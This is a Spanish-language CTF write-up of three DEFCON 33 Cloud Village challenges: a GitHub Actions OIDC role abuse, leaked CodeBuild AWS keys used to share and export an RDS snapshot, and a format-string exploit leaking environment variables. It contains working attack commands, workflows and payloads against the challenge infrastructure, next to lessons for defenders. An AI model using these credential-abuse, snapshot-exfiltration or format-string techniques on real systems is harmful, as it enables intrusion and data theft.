Saltar a contenido

WriteUp: Cloud Village CTF DEFCON 33

¡Una vez más, no pudimos resistir la llamada del scoreboard de un CTF! 🎯 Esta vez, participamos en el Cloud Village CTF en DEFCON 33.

Cloud Village CTF

¡Conseguimos resolver 13 de 25 retos y asegurar un top 10 de 146 equipos!

Final Ranking

Nada mal para solo tres personas... especialmente porque también estábamos ajustando los últimos detalles para nuestro workshop de Cloud Village: Level Up Your CI/CD: Building a secure pipeline with OSS. 🤯

Hablaremos más sobre este tema en futuros posts, mientras tanto podéis echar un vistazo al repositorio del workshop.

Ahora, ¡vamos con los writeups! 🤘

Os traemos tres retos bastante interesantes que muestran diferentes aspectos de vulnerabilidades de seguridad en la nube: CI/CD misconfigurations, drift de infraestructura, y explotación de binarios clásica pero en contenedores en la nube.

Action Theft Repo ~ 890

Action Theft Repo Challenge

Análisis Inicial

El reto comenzaba con un bucket S3 que contenía un archivo HTML que hacía referencia a una organización de GitHub: HEXNOVA404.

HEXNOVA GitHub Organization

GitHub Actions Leak

Investigando los repositorios de la organización, descubrimos un leak de credenciales en un log de GitHub Actions workflow:

Leaky GitHub Action Job

Los logs del workflow exponían dos valores codificados en base64:

  • Role ARN: YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=
  • Secret ID: aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==

Decodificándolos revelamos un ARN de rol AWS y un ID de secreto:

echo 'YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=' | base64 -d
arn:aws:iam::170974506515:role/github-deployment-role

echo 'aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==' | base64 -d
internal/secrets/id-v2

Exploiting the GitHub OIDC Trust Relationship

Esto tenía todas las vibras del reto del año pasado Warden's Ruse, así que creamos un fork privado e intentamos asumir el rol expuesto usando OIDC y obtener el secreto de AWS Secrets Manager.

name: ctf

on:
  workflow_dispatch:

permissions:
  id-token: write
  contents: read

jobs:
  tf:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::170974506515:role/github-deployment-role
          role-session-name: github-deployment-role
          aws-region: us-west-2

      - name: Get secret
        run: |
          SECRET_JSON=$(aws secretsmanager get-secret-value \
            --secret-id internal/secrets/id-v2 \
            --region us-west-2 \
            --query 'SecretString' \
            --output text)

          EXTID=$(echo "$SECRET_JSON" | jq -r '.external_id')
          echo "extid: $EXTID"

¡Secreto obtenido! 🎉 Un external ID que nos será útil más adelante.

Secret Retrieved

Segundo Assume Role

En paralelo, descubrimos un gist público dentro de la misma organización:

GitHub Gist

Revisando el historial de revisiones encontramos partes eliminadas que contenían:

  • Otro role ARN: arn:aws:iam::170974506515:role/prod-readonly-auditor
  • El nombre de bucket S3: ci-deployment-logsv1
  • Una referencia al requisito del external ID

Gist Revision History

Escalada de Privilegios y Extracción de la Flag

Usando el external ID del secreto, ahora podíamos asumir el rol de "auditor de producción" y obtener la flag del bucket S3:

- name: Assume role with external id and retrieve flag
  run: |
    # Asumimos el rol de auditor de producción usando el external ID
    CREDS=$(aws sts assume-role \
      --role-arn "arn:aws:iam::170974506515:role/prod-readonly-auditor" \
      --role-session-name "pivot" \
      --external-id "$EXTID" \
      --output json)

    # Configuramos las nuevas credenciales
    export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
    export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
    export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')

    # Accedemos al bucket S3 y recuperamos la flag
    aws s3 cp s3://ci-deployment-logsv1/ci-deploy-output.log -

(bueno, para ser sinceros primero hicimos un aws s3 ls para saber el nombre del archivo 😅)

¡Boom! 💥 ¡La flag es nuestra!

Flag Retrieved

Impacto en el Mundo Real

Este reto demuestra perfectamente una cadena de vulnerabilidades típicas de pipelines CI/CD reales:

  1. Logs públicos de GitHub Actions exponiendo información sensible
  2. Relaciones de confianza OIDC demasiado permisivas permitiendo a cualquier usuario de GitHub asumir roles
  3. Información sensible en el historial de revisiones que están "eliminadas" pero siguen siendo accesibles

Pipeline Drift ~ 870

Pipeline Drift Challenge

Análisis Inicial

"Drift" es un término usado con infraestructura que se ha desviado de su estado esperado, a veces causando brechas de seguridad. Como ya teníamos unas credenciales de AWS, empezamos con enumeración básica:

aws sts get-caller-identity
{
    "UserId": "AIDAXMQAGGFOSPOD3JJXA",
    "Account": "507880288605",
    "Arn": "arn:aws:iam::507880288605:user/ctf_player"
}

Dada la descripción del reto, buscamos proyectos CodeBuild en las regiones de AWS usando un simple script (check_codebuild_regions.sh):

bash check_codebuild_regions.sh
Checking CodeBuild projects across all default AWS regions...
==========================================================
Current AWS Identity:
{
    "UserId": "AIDAXMQAGGFOSPOD3JJXA",
    "Account": "507880288605",
    "Arn": "arn:aws:iam::507880288605:user/ctf_player"
}

Checking region: us-east-1
   No projects found

Checking region: us-east-2
   No projects found

Checking region: us-west-1
   No projects found

Checking region: us-west-2
   Found projects in us-west-2:
    - legacy-project

^C

Encontramos legacy-project en la región us-west-2. 🔍

CodeBuild Misconfiguration

Revisando el proyecto de CodeBuild "legacy" vimos que tenía algunos secretos en texto plano:

aws codebuild batch-get-projects --names legacy-project --region us-west-2

[...]
    "environmentVariables": [
        {
            "name": "AWS_ACCESS_KEY_ID",
            "value": "AKIAXMQAGGFO5DD6NFK7",
            "type": "PLAINTEXT"
        },
        {
            "name": "AWS_SECRET_ACCESS_KEY",
            "value": "3Hlzlj+3h2w4Z7L5qZ6JmjRjs1WonB87ujw4nHVo",
            "type": "PLAINTEXT"
        }
    ],
[...]
Y no cualquier secreto, sino credenciales AWS hardcodeadas como variables de entorno.

¿Por qué decidí revisar esto?

Bueno... aquí Andoni al habla, trabajo para Prowler, así que quería ver si podía ser útil en el CTF. Lo estaba ejecutando en paralelo mientras probaba cosas para ver qué posibles configuraciones incorrectas podía tener el servicio CodeBuild.

¡Y fue útil!

CodeBuild Misconfiguration
Output de Prowler mostrando que el proyecto CodeBuild incluía secretos en texto plano.

Arqueología de Infraestructura

Usando las credenciales filtradas, descubrimos el "drift", aparentemente infraestructura "vieja" que debería haberse borrado.

Y por supuesto usé Prowler de nuevo para enumerar qué recursos podían acceder estas nuevas credenciales.

prowler aws --region us-west-2

Prowler Results

El escaneo reveló un snapshot RDS llamado legacy-app-db-snapshot, muy sospechoso 🤨.

Explotación del Snapshot

El snapshot ya estaba compartido con cuentas externas, así que añadimos nuestra propia cuenta a la lista de acceso:

aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier "legacy-app-db-snapshot" \
    --attribute-name "restore" \
    --values-to-add "[ACCOUNT_ID]" \
    --region us-west-2

Y en lugar de restaurar toda la base de datos, exportamos los datos del snapshot a S3 para analizarlos:

aws s3 mb s3://rds-snapshot-export-ctf-analysis --region us-west-2

aws rds start-export-task \
    --export-task-identifier "legacy-export-analysis" \
    --source-arn "arn:aws:rds:us-west-2:507880288605:snapshot:legacy-app-db-snapshot" \
    --s3-bucket-name "rds-snapshot-export-ctf-analysis" \
    --iam-role-arn "arn:aws:iam::[ACCOUNT]:role/rds-snapshot-export-role" \
    --region "us-west-2"

Después de descargar los archivos Parquet, analizamos el contenido de la base de datos usando un visor de Parquet online y encontramos la flag en la tabla secrets.

Flag in Database

Impacto en el Mundo Real

Este reto demuestra perfectamente por qué una gestión adecuada del ciclo de vida de la infraestructura es crucial. Snapshots antiguos, recursos no utilizados y datos huérfanos pueden convertirse en problemas de seguridad.

Y una vez más hay que decirlo, no hardcodees credenciales, por favor.


TimeBomb ~ 850

TimeBomb Challenge

Análisis Inicial

Este reto nos llevó de vuelta a los fundamentos clásicos de explotación binaria, pero en un entorno cloud contenerizado. El reto empezaba con un contenedor de Docker que contenía un binario en C.

Análisis del Código

Examinando el código fuente encontramos la vulnerabilidad:

void vuln() {
    char buffer[512];
    puts("[-----------------------------------------]");
    puts("[  TIMEBOMB TERMINAL: TERMINAL INTERFACE  ]");
    puts("[-----------------------------------------]");
    puts(" [CLASSIFIED] Authorization required...");
    printf("Enter your OVERRIDE CODE: ");
    fflush(stdout);
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);  // (1)!
    printf("\n[-] Done.\n");
    fflush(stdout);
    exit(0);
}
  1. Vulnerabilidad de Format String: La llamada printf(buffer) imprime directamente la entrada del usuario sin un especificador de formato.

Confirmando la vulnerabilidad

Confirmamos el bug de format string con una simple prueba:

# Input
%x.%x.%x.%x.%x.%x.%x.%x

# Esto reveló el contenido del stack en hexadecimal, confirmando la vulnerabilidad

Para localizar nuestra entrada en el stack:

# Input
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

# Encontramos nuestra entrada (AAAA = 0x41414141) en la posición 6 del stack

Stack Layout

Claude Code fue muy útil proporcionando guía y scripts para probar rápidamente las ideas. Podéis encontrarlos aquí.

Descubriendo el layout del stack

Filtrando sistemáticamente posiciones (%1$p, %2$p, etc.), podemos mapear:

  1. Ubicación de nuestra entrada (posición 6) - donde aparece "AAAA"
  2. Direcciones de retorno - punteros de código que podríamos sobrescribir
  3. Direcciones de Libc (posiciones 18-19) - revelan base ASLR
  4. Punteros de entorno - podrían apuntar a variable FLAG
  5. Direcciones del stack - objetivos potenciales de escritura

Veamos si podemos encontrar la flag en las variables de entorno:

# Extracción sistemática de variables de entorno
%105$s  # AWS_EXECUTION_ENV=AWS_ECS_FARGATE
%110$s  # LAMBDA_URL=https://yavdhl4qozqpiugwirgyfhj4hm0hpykh.lambda-url.us-west-1.on.aws/
%115$s  # FLAG=FLAG-{Reverse7heBombt0trigg3rflagc4fb5} ✅

¡La flag estaba escondida a plena vista en la posición 115 del stack! 💥

Impacto en el Mundo Real

Incluso en entornos cloud, vulnerabilidades "clásicas" como este bug siguen siendo relevantes. El aislamiento de los contenedores normalmente no protege contra las vulnerabilidades a nivel de aplicación.


Repositorio y otros retos

Hemos preparado un repositorio con writeups de los demás retos que resolvimos, creado con la increíble ayuda de @sanchezpaco y @pedroot, que resolvieron la mayoría de los retos. 🔝

Podéis encontrarlo aquí: CTF Cloud Village DEFCON 33 .

Conclusiones

El CTF de la Cloud Village continúa demostrando que la seguridad cloud requiere entender tanto los fundamentos de seguridad tradicionales como los vectores de ataque nativos de nube.

Un saludo especial a los organizadores de Cloud Village por otro CTF excelente que combina escenarios cloud realistas con retos técnicos atractivos.

Team Results

Por cierto, estos somos nosotros el primer día en la entrada de DEFCON. Escribiendo este post me acabo de dar cuenta de que estábamos tan enganchados con el CTF que no nos hicimos ninguna foto durante 😂.

¡Si tenéis alguna pregunta sobre nuestras soluciones o queréis discutir estos vectores de ataque más a fondo, no dudéis en contactar con nosotros!

Saludos, y que la fuerza os acompañe.